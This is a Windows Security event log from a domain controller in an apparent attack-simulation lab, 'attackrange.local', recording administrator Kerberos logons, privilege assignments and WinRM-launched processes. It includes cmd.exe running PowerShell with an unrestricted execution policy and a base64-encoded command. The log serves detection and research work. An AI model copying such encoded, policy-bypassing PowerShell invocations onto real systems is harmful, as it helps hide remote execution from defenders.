	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf30
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249700
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE839F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249699
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE839F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249698
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249697
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249696
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249695
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9d4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfc8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Process Information:
	New Process ID:		0xfc8
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249693
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249692
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE814E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249691
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249690
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249689
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249744
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBF6C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249743
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEBF6C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64319

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249742
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEBF6C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:52 PM
LogName=Security
